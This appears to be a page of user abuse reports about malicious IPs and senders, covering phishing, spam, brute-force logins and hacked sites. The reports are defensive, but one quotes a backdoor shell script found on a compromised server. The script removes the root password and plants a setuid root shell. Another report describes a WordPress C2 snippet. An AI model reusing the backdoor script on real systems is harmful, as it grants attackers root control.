Сообщить об IP или Email с вредоносной или спам-активностью

Bad actor using fake email and mailing address to attempt fraudulent credit card charges.

Attempt for abusive login in email, which is not linked with same IP address.

Attempt for abusive login in email, which is not linked with same IP address.

Аttempted unauthorized access to my email.Brute force attacks.Hacking by email.Web application attacks.

Аttempted unauthorized access to my email.Brute force attacks.Hacking by email.Web application attacks.

comment form spammer

comment form spammer

Our website was hacked and new fake users were created. They injected their back-links and almost took full control including Cpanel

Found this ELF binary `jancuxrut` in the /tmp/ directory of one of the VPS that I manage. More info here: https://www.virustotal.com/gui/file/2fd66c47540c6f8f99ea74b44679baf2bbe65c918e7ba73713b63f5681f405d6/behavior (I got that malicious IP from the results of VirusTotal.) There's also this t.me/gro0ts Telegram channel. Alongside that file, I found another shell script called `ex`, which had this code:
```
#!/bin/sh
sed -i -e 's/root:x:/root::/g' /etc/passwd
echo '#!/bin/sh\necho "HIIII"\n/bin/sh' > /backdoor.sh
chmod root:root /backdoor.sh; chmod 4777 /backdoor.sh
```

I also found a TAR archive called xmrig.tar.gz, which meant the bad actor was also trying to also run a coinminer on the VPS that I manage.

spoof email sender

Another phishing scam coming from England.
sender IP is 15.204.146.4
IP Details For: 15.204.146.4
Decimal:
265064964
Hostname:
zx2ml0ok4.brmarket.club
ASN:
16276
ISP:
OVH US LLC
Services:
Data Center/Transit
Country:
United Kingdom of Great Britain and Northern Ireland
State/Region:
England
City:
Chester
Latitude:
53.1905 (53° 11′ 25.79″ N)
Longitude:
-2.8919 (2° 53′ 30.80″ W)

Another phishing scam coming from England.
sender IP is 15.204.146.4
IP Details For: 15.204.146.4
Decimal:
265064964
Hostname:
zx2ml0ok4.brmarket.club
ASN:
16276
ISP:
OVH US LLC
Services:
Data Center/Transit
Country:
United Kingdom of Great Britain and Northern Ireland
State/Region:
England
City:
Chester
Latitude:
53.1905 (53° 11′ 25.79″ N)
Longitude:
-2.8919 (2° 53′ 30.80″ W)

Spam for website services

Инцидент: компрометация out.net.ua (WordPress)
17.07.2026, 06:16 (Киев) — вход в админку через wp-login.php с корректным логином/паролем, IP 181.233.26.220 (Лима, Перу) — учётные данные были скомпрометированы заранее.
Атакующий установил плагин WPCode Lite и создал вредоносный PHP-сниппет, выполняющийся на каждой странице. Код: отключал кэширование, скрывал себя из админки, принимал команды через cookie (включая создание нового администратора), а для обычных посетителей (раз в сутки на IP, минуя залогиненных) отправлял фингерпринт на управляющий сервер hihatbar.com и вставлял в страницу полученный HTML — редирект через meta-refresh на временные *.pages.dev домены (silver-hollow-comet, foggy-radar-grass) — типичная TDS/cloaking-схема.
Устранено: удалён сниппет из БД, деактивирован плагин, сброшены все сессии, сменены пароли WP и хостинга, WordPress обновлён до 7.0.2.
IOC: IP 181.233.26.220; C2-домен hihatbar.com.

Unsolicited Kickstarter Spam. Unsubscribing will do nothing.

phishing scam
I have never had a GeekSquad membership.

phishing scam
I have never had a GeekSquad membership.

an Estonian hacker which tried to get into my microsoft account

С этого ip адреса идут переборы логинов и паролей для ssh

Email Spam from londraedintorni.it via mta01.londraedintorni.it